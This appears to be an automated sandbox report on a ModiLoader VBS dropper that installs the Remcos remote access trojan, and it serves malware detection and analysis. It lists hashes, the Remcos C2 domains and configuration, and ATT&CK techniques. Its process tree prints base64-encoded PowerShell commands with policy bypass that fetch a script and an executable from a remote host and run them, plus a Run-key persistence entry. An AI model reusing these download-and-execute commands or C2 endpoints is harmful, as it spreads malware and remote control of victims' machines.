modiloader | ba5681f45c2a491ddf97f8439be7cf606a3650590fc21918516b4b3fa683b1b8

General

Target

2230105.vbs
Size

884B
MD5

fbbe9c432bd57ec2999ed6c59f56e9fe
SHA1

50a7227e75f3dbc73f2bbcc81798612fd7222868
SHA256

73709402a093f4b559532f016cb0c7f8b7bc29b413dc3321a79f5a5a38b81c44
SHA512

83805182c4588d089d4748143f093d1e48e5a1545c3deb15b1ffb4982d849868cbaf4ebe57d045513fad08b3cb74facd4b64d7680ac223db68711474d1fc3b03

Score

10^/10

modiloader remcos eu persistence rat trojan

Malware Config

Extracted

Family

remcos

Botnet

EU

C2

tornado.ydns.eu:1972

orifak.ydns.eu:1972

rdpown.ydns.eu:1972

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
RmgDEfdfdef-3FSSYH
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

ModiLoader Second Stage 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/5048-59-0x0000000002AE0000-0x0000000003AE0000-memory.dmp	modiloader_stage2

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

10 2016 powershell.exe
18 2336 powershell.exe
Downloads MZ/PE file

flow	pid	process
10	2016	powershell.exe
18	2336	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

Processes:

FIREF0X.exe

pid process

5048 FIREF0X.exe

pid	process
5048	FIREF0X.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

FIREF0X.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2890696111-2332180956-3312704074-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Wblxhuak = "C:\\Users\\Public\\Wblxhuak.url"	FIREF0X.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	64	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	66	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

PowerShELl.exEpowershell.exepowershell.exeFIREF0X.exe

pid process

1600 PowerShELl.exE
1600 PowerShELl.exE
2016 powershell.exe
2016 powershell.exe
2336 powershell.exe
2336 powershell.exe
5048 FIREF0X.exe
5048 FIREF0X.exe

pid	process
1600	PowerShELl.exE
1600	PowerShELl.exE
2016	powershell.exe
2016	powershell.exe
2336	powershell.exe
2336	powershell.exe
5048	FIREF0X.exe
5048	FIREF0X.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

PowerShELl.exEpowershell.exepowershell.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	1600	PowerShELl.exE
Token: SeDebugPrivilege	2016	powershell.exe
Token: SeDebugPrivilege	2336	powershell.exe
Token: SeManageVolumePrivilege	3496	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

SndVol.exe

pid process

2624 SndVol.exe
Suspicious use of SendNotifyMessage 2 IoCs

Processes:

SndVol.exe

pid process

2624 SndVol.exe
2624 SndVol.exe

pid	process
2624	SndVol.exe

pid	process
2624	SndVol.exe
2624	SndVol.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

WScript.exePowerShELl.exEpowershell.exepowershell.exeFIREF0X.exe

description	pid	process	target process
PID 2900 wrote to memory of 1600	2900	WScript.exe	PowerShELl.exE
PID 2900 wrote to memory of 1600	2900	WScript.exe	PowerShELl.exE
PID 1600 wrote to memory of 2016	1600	PowerShELl.exE	powershell.exe
PID 1600 wrote to memory of 2016	1600	PowerShELl.exE	powershell.exe
PID 2016 wrote to memory of 2336	2016	powershell.exe	powershell.exe
PID 2016 wrote to memory of 2336	2016	powershell.exe	powershell.exe
PID 2336 wrote to memory of 5048	2336	powershell.exe	FIREF0X.exe
PID 2336 wrote to memory of 5048	2336	powershell.exe	FIREF0X.exe
PID 2336 wrote to memory of 5048	2336	powershell.exe	FIREF0X.exe
PID 5048 wrote to memory of 2624	5048	FIREF0X.exe	SndVol.exe
PID 5048 wrote to memory of 2624	5048	FIREF0X.exe	SndVol.exe
PID 5048 wrote to memory of 2624	5048	FIREF0X.exe	SndVol.exe
PID 5048 wrote to memory of 2624	5048	FIREF0X.exe	SndVol.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2230105.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2900

C:\Windows\sYsTEM32\wINdOWSpowERSHElL\v1.0\PowerShELl.exE
"C:\Windows\sYsTEM32\wINdOWSpowERSHElL\v1.0\PowerShELl.exE" "POWERshELL -eX BYpASS -noP -EC aQBFAHgAKAAgAGkAbgB2AG8AawBlAC0AcgBlAHMAVABNAGUAdABoAE8ARAAgACcAaAB0AHQAcAA6AC8ALwB0AG8AcgBuAGEALgB5AGQAbgBzAC4AZQB1AC8AbwBuAC8AcgBlAHcAbwBwAC8AcABvAHcAZQByAHcAaQBuAG4AZQByAC4AcABzADEAJwApAA== "
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1600

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX BYpASS -noP -EC aQBFAHgAKAAgAGkAbgB2AG8AawBlAC0AcgBlAHMAVABNAGUAdABoAE8ARAAgACcAaAB0AHQAcAA6AC8ALwB0AG8AcgBuAGEALgB5AGQAbgBzAC4AZQB1AC8AbwBuAC8AcgBlAHcAbwBwAC8AcABvAHcAZQByAHcAaQBuAG4AZQByAC4AcABzADEAJwApAA==
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2016

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX BypaSs -NoP -W HIdDen -EC IAAJAEkAbgBWAG8AawBFAC0AcgBlAFMAdABNAEUAdABIAG8ARAAgAAkALQBVAHIASQAgAAkAKAAdIGgAdAB0AHAAOgAvAC8AdABvAHIAbgBhAC4AeQBkAG4AcwAuAGUAdQAvAB0gIAAgACAAIAArACAAIAAdIG8AHSAgACAAIAAgACsAIAAgAB0gbgAvAGIAcwB2AC8AVwBiAGwAeABoAHUAYQBrAHMAHSAgACAAIAAgACsAIAAgAB0gdQBqAHYAHSAgACAAIAAgACsAIAAgAB0gaABxAC4AZQAdICAAIAAgACAAKwAgACAAHSB4AB0gIAAgACAAIAArACAAIAAdIGUAHSAgACAAKQAgACAALQBvAHUAVABGAGkAbABFACAAIAAdICQAZQBOAHYAOgB0AGUAbQBQAFwARgBJAFIARQBGADAAWAAuAGUAeABlAB0gIAA7ACAACQAmACAACQAdICQAZQBOAFYAOgB0AEUAbQBQAFwARgBJAFIARQBGADAAWAAuAGUAeABlAB0g
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2336

C:\Users\Admin\AppData\Local\Temp\FIREF0X.exe
"C:\Users\Admin\AppData\Local\Temp\FIREF0X.exe"
5⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5048

C:\Windows\SysWOW64\SndVol.exe
C:\Windows\System32\SndVol.exe
6⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2624

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
1⤵
PID:2068

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k UnistackSvcGroup
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3496

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
4222a755c020799d14ad6a3a5895e8ff

SHA1
616b534f87f8a9cedf5089beb3778fa634af8e5b

SHA256
1743a21bfa8fa07150825981fb41fb485b6737959b8aeb6acf80aa11783ebd78

SHA512
b02b21c85068029d8b4f3e9d5b4fc851400a24a8b424e94b2af7c7dafb5d8bf83462423b4e287f0b8bcfeea5ff8ce9b8310a98bdb4771b581d848c88ed8bc798

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\FIREF0X.exe
Filesize
1.5MB

MD5
c7fcb915a272045036e5d8e0de23fd5a

SHA1
19df745007c4edbb727851db3c65290620389a20

SHA256
0fcbcb5c98c97d26b4df12fc4b1f18c926df5e943b6cad241836985f5da0290e

SHA512
21e1adf068bd8211f3586af95726e691b1527ba17183ff7f8214b535cca7d65d94a63f985a62c6d2a010cd481e9dff09c4c1909a443c6ef54d7d7f83739ccca3

Download Submit
C:\Users\Admin\AppData\Local\Temp\FIREF0X.exe
Filesize
1.5MB

MD5
c7fcb915a272045036e5d8e0de23fd5a

SHA1
19df745007c4edbb727851db3c65290620389a20

SHA256
0fcbcb5c98c97d26b4df12fc4b1f18c926df5e943b6cad241836985f5da0290e

SHA512
21e1adf068bd8211f3586af95726e691b1527ba17183ff7f8214b535cca7d65d94a63f985a62c6d2a010cd481e9dff09c4c1909a443c6ef54d7d7f83739ccca3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ncbp3kcy.xoj.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\Libraries\Wblxhuak.PIF
Filesize
1.5MB

MD5
c7fcb915a272045036e5d8e0de23fd5a

SHA1
19df745007c4edbb727851db3c65290620389a20

SHA256
0fcbcb5c98c97d26b4df12fc4b1f18c926df5e943b6cad241836985f5da0290e

SHA512
21e1adf068bd8211f3586af95726e691b1527ba17183ff7f8214b535cca7d65d94a63f985a62c6d2a010cd481e9dff09c4c1909a443c6ef54d7d7f83739ccca3

Download Submit
memory/1600-0-0x0000023FFBB30000-0x0000023FFBB52000-memory.dmp

Filesize
136KB

Download
memory/1600-56-0x00007FFCD6980000-0x00007FFCD7441000-memory.dmp

Filesize
10.8MB

Download
memory/1600-11-0x0000023FFBBC0000-0x0000023FFBBD0000-memory.dmp

Filesize
64KB

Download
memory/1600-53-0x00007FFCD6980000-0x00007FFCD7441000-memory.dmp

Filesize
10.8MB

Download
memory/1600-13-0x0000023FFBBC0000-0x0000023FFBBD0000-memory.dmp

Filesize
64KB

Download
memory/1600-12-0x0000023FFBBC0000-0x0000023FFBBD0000-memory.dmp

Filesize
64KB

Download
memory/1600-10-0x00007FFCD6980000-0x00007FFCD7441000-memory.dmp

Filesize
10.8MB

Download
memory/2016-14-0x00007FFCD6980000-0x00007FFCD7441000-memory.dmp

Filesize
10.8MB

Download
memory/2016-52-0x00007FFCD6980000-0x00007FFCD7441000-memory.dmp

Filesize
10.8MB

Download
memory/2016-26-0x0000021D2D410000-0x0000021D2D5D2000-memory.dmp

Filesize
1.8MB

Download
memory/2016-25-0x0000021D2AC40000-0x0000021D2AC50000-memory.dmp

Filesize
64KB

Download
memory/2016-24-0x0000021D2AC40000-0x0000021D2AC50000-memory.dmp

Filesize
64KB

Download
memory/2336-47-0x00007FFCD6980000-0x00007FFCD7441000-memory.dmp

Filesize
10.8MB

Download
memory/2336-39-0x0000023C90A30000-0x0000023C90A40000-memory.dmp

Filesize
64KB

Download
memory/2336-34-0x0000023C90A30000-0x0000023C90A40000-memory.dmp

Filesize
64KB

Download
memory/2336-28-0x0000023C90A30000-0x0000023C90A40000-memory.dmp

Filesize
64KB

Download
memory/2336-27-0x00007FFCD6980000-0x00007FFCD7441000-memory.dmp

Filesize
10.8MB

Download
memory/2624-75-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2624-76-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2624-123-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2624-122-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2624-121-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2624-65-0x0000000002A40000-0x0000000003A40000-memory.dmp

Filesize
16.0MB

Download
memory/2624-67-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2624-69-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2624-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2624-71-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2624-72-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2624-74-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2624-120-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2624-82-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2624-80-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2624-81-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3496-83-0x000001DB34940000-0x000001DB34950000-memory.dmp

Filesize
64KB

Download
memory/3496-99-0x000001DB34A40000-0x000001DB34A50000-memory.dmp

Filesize
64KB

Download
memory/3496-115-0x000001DB3CD60000-0x000001DB3CD61000-memory.dmp

Filesize
4KB

Download
memory/3496-117-0x000001DB3CD90000-0x000001DB3CD91000-memory.dmp

Filesize
4KB

Download
memory/3496-118-0x000001DB3CD90000-0x000001DB3CD91000-memory.dmp

Filesize
4KB

Download
memory/3496-119-0x000001DB3CEA0000-0x000001DB3CEA1000-memory.dmp

Filesize
4KB

Download
memory/5048-59-0x0000000002AE0000-0x0000000003AE0000-memory.dmp

Filesize
16.0MB

Download
memory/5048-57-0x0000000000720000-0x0000000000721000-memory.dmp

Filesize
4KB

Download
memory/5048-58-0x0000000002AE0000-0x0000000003AE0000-memory.dmp

Filesize
16.0MB

Download
memory/5048-62-0x0000000000720000-0x0000000000721000-memory.dmp

Filesize
4KB

Download
memory/5048-61-0x0000000000400000-0x0000000000593000-memory.dmp

Filesize
1.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads